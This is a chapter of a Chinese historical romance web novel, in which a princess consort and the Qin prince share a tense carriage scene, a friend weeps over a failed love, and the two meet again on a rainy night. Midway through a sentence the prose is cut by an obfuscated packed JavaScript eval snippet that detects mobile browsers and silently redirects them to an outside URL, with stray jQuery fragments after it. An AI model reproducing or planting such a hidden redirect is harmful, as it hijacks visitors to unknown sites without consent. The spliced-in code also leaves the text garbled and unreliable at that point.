也许是天气太热的缘故,下了雨没有感觉凉爽,反而是出现一股蒸汽,弥漫在两人之间,仿佛刚刚沐浴出来一般。
“周……周言卿……”司言茉有意将人推开,却在手触及对方的胸膛时停了下来。
她似乎能感受到这人的紧绷,以及那强有力的心跳。
这东西是会传染吗?她为什么觉着她的心也越跳越快了?
“阿茉……”周言卿抚上她的脸颊,喉结上下滚动,“你之前说我们不清醒,可我觉得我很清醒。”
司言茉笑了,眼下的泪痣跳动,让人忍不住靠近。
“你现在不像清醒的样子。”
“一定要清醒吗?”周言卿揽着她腰的手紧了紧,“没有人会时刻保持清醒,有些事也未必要清醒。”
“不清醒的结果我们谁都不知道,也许不会是好的结果。”
女人的眸中染上几分哀伤,撇过头去推开他。
“可我觉得你想要帮檀牧禾的时候你也不清醒,明明那个的结果看起来会更差,为什么你在他那里义无反顾,在我这里却畏手畏脚。”
周言卿将头埋在她颈肩间,贪婪地呼吸着她身上的茉莉花香,声音如同蛊惑人心的海妖。
瞧着他这个样子,司言茉叹了口气,“不一样的。”
“哪里不一样?你对谁都好,独独对我那么冷淡。”
“我哪有?”面对小狗的控诉,司言茉哭笑不得,“我什么时候对你冷淡了?要是冷淡,你现在早被我踹出去了。”
“你只看着温柔,心里根本没有我。”
“那你想多了,我心里谁都没有。”
“谁说的?你明明就有好多人,有你爹娘,有你姐姐,还有那个花蝴蝶,甚至宁清资、檀牧禾他们都在你心里,你都可以为了他们去死。”
“我不是为了他们……”司言茉吐出一口气,她也不知道怎么解释自己的执着,“我是为了我自己。”
也许是有了前面的坦白,如今说起前世之事,她也自然许多。
“周言卿,我和你不一样,我真的死过一次。我比谁都害怕身边的人离开,我不想死,也不想让别人死。”
“可你每次都做些去送死的事。”
周言卿抬起头,眉头微微蹙着,好不委屈叫她忍不住摸了摸他的头。
还是很软……
“我也觉得自己这样很奇怪,可我心里好像又觉得,如果是为了大义去死,好像也很值得,就跟你们就觉得死在战场上很光荣一样。我不觉得每个士兵他们都不怕死,他们应该也都很想回家,但战死沙场似乎比平庸的死去更能让人接受。”
“所以你不怕为了那些人去死,却害怕和我靠近?”
男人握住她的手贴在自己的脸颊上。她的手并不是温热的,而是一种好像没有温度的冰冷,但不刺骨,就好像这个人并不存在于世一样。
“周言卿,你不一样。你是第一个加入我这段新的生命的人,你不在我的计划里,也不在我的过去里。我会害怕。”
“害怕我?”
“不是你,是……”司言茉不知道自己该怎么说下去。
就在这时,一声马嘶,马车急停下来。
马车急停,司言茉由于惯性身子猛的前倾,唇瓣擦过男人的喉结,带着女子发丝间若有若无的香气。
瞬间一片绯红从此处蔓延至周言卿整个脖颈,甚至染上耳根。
周言卿佯装镇定的清了清嗓,掩盖那从喉结一路向下烧去的□□,揽着女人的手却没松开。
“外面怎么了?”他说着掀开车帘的一角,瞧见雨汽对面是一辆略显华贵的马车。
只是这车夫为何看起来这么眼熟?
“这不是子贺哥的马车?”司言茉回过头,看清眼前的马车时,轻轻推开了他的手。
只见对面的车帘也被掀开,一柄油纸伞缓慢撑开,抬起时露出一张熟悉的脸。
这人今天已经搅和他和阿茉两次了!
周言卿暗自咬牙,“仲公子,当街阻拦王驾可是杀头的罪名。”
他原本不想对司言茉的朋友说这些威压的话的,怎奈这人三番两次的坏他的好事。
周言卿有那么一刻是真想把他拖出去砍了。
可仲子贺听了这话,并未有什么反应。
若是以往,仲子贺听了他这话必然一溜烟就跑了,如今那双眸子里没有恐惧,有的只是哀伤。
“还请殿下容我和王妃说几句话。”
他这副可怜的样子,倒叫他了周言卿有气没地方撒了。
司言茉也是鲜少见他这副表情,许是檀牧禾的事打击太大。她回头眼神示意周言卿别和他一般见识,和对方商议了几句,准备回秦王府说。
细雨连连,远处的山峰都冒出雾气,宛若青烟。
秦王府的书房外,吴观给自家主子举了把伞,“殿下,咱们要不先回房呢?”
周言卿并未挪动脚步,而是问道:“你说他们两个在里面说什么呢?”
吴观扶额,这秦王天不怕地不怕,偏生遇到王妃之后,仿若家养的小狗一般。
不仅处处听主人的,现在看着自家夫人和别的男人在房中聊天,连门都不敢进。
怎就堕落至此了?
还没等两人推测出什么奇奇怪怪的场景,书房内传出某人震耳欲聋的哭声。
“小茉儿,我怎么这么惨啊?他们秦地的人都是变态!一个两个的大男人,长得那么像女人干什么呀?呜呜……我上辈子到底造的什么孽呀?要不就是我喜欢人家,人家不喜欢我;要不就是……就是他是个男人……作孽啊!”
仲子贺哭的鼻涕一把泪一把的,一条晶莹挂在鼻子和嘴巴中间摇摇欲坠,叫司言茉有些嫌弃,生怕他把鼻涕甩到自己身上,赶紧拿了个帕子递给他。
“你……先擦一擦。”
仲子贺看见她递过来的帕子,这才意识到羞耻,皱紧鼻头吸了吸。
这一吸不要紧,看得司言茉更恶心了。
“我求你,用帕子吧!”她将手帕塞到他手里,撇着嘴往后躲了些许。
“你嫌弃我……”仲子贺这下终于看出她眼中的“畏惧”,更委屈了,张开大嘴嚎啕大哭,口水甚至在嘴里拉丝。
那鼻涕也摇摇欲坠的,让人看着时刻会掉到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526793|186333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他嘴里。
司言茉终于忍不住了,直接将帕子拍在他脸上,“别哭了!”
“要么你擦干净跟我说话,要么你现在就滚出去!”
听着自家小妹妹这么绝情的话,仲子贺这才不情不愿的用帕子胡乱擦了擦脸。
鼻涕眼泪混合在一起,黏在女子粉嫩的帕子上,简直不忍直视,他竟还想把帕子还给司言茉。
“不用了,你留着吧!”
司言茉连忙拒绝,躲了八丈远。
看出她的嫌弃,仲子贺只好将帕子握在手中,可怜巴巴道:“你说我命怎么这么苦啊?你当初有没有给我算姻缘?我不会要孤独终老吧?”
“这个……”司言茉嘿嘿一笑,有些尴尬。
“真没有啊?!”男人顿时整个人瘫在桌子上,哭的更用力了。
“……至少你仕途好啊!”
他的命格里确实没说什么关于姻缘的事,却说了他若是从商,可家财万贯,但家中恐生变故;若是入仕,则会平步青云,也会躲避灾祸。
这也是司言茉一直劝他入卜院的缘故。
可惜仲子贺的心思并不在这儿上,她劝了一年也没劝动他。
“仕途好有什么用?我又不想和你一样,不累吗?”
被他这么一问司言茉不由得怔住了。
怎么会不累呢?每天做了那么多事,就好像谁都没救下来,她似乎违背了最初的自己。
门外的人影也跟着她的沉默揪心起来。
她累了吗?如果累了会不会离开呢?
这时屋内响起女人的声音:“累啊,但我不是一个人。有人陪着,累也没关系。”
那略带笑意的声音融入雨水,他抬起手刚好接到一滴,唇角微勾。
——
夜半,刚和周言卿说过要冷静冷静的人,又睡不着了。
她强迫自己闭上眼,眼前却又浮现出男人白日里委屈巴巴的样子。
那泛红的眼尾,收紧的手,在本该凉爽的雨夜化作一团火焰,叫周围的水汽蒸腾起来。
此刻,连屋外滴滴答答的雨声,都让她烦躁。
司言茉深呼吸几次,在心中不断告诉自己,这不过就是夜笙歌的影响,自己不能轻易被它蛊惑。
可有些时候就是这样,她越是急着压下去,那股燥热就越明显,弄得她身上都汗涔涔的。
偏生司言茉是个不盖被子就睡不着的,此刻掀开被子不仅睡不着,也没得到凉爽。
她气急了,无奈地坐起身,匆匆披上外衣,打了把伞走出门。
雨夜里本就看不清前路,她走的太急,迎面撞上一个硬邦邦的“柱子”,油纸伞瞬间从手中跌落。
今晚太倒霉了!
她本就难受,此刻被雨一淋更是忍不住,眼眶已然泛着红。
“睡不着?”
这时,一个足以安抚人心的声音响起。
她抬起头,原来不是柱子,是那个叫她睡不好觉的男人。
然而,瞧见他的第一眼,她并未生气,反倒有一种终于找到他了的欣喜。
她一把扑到那人怀里,眼泪掉了下来。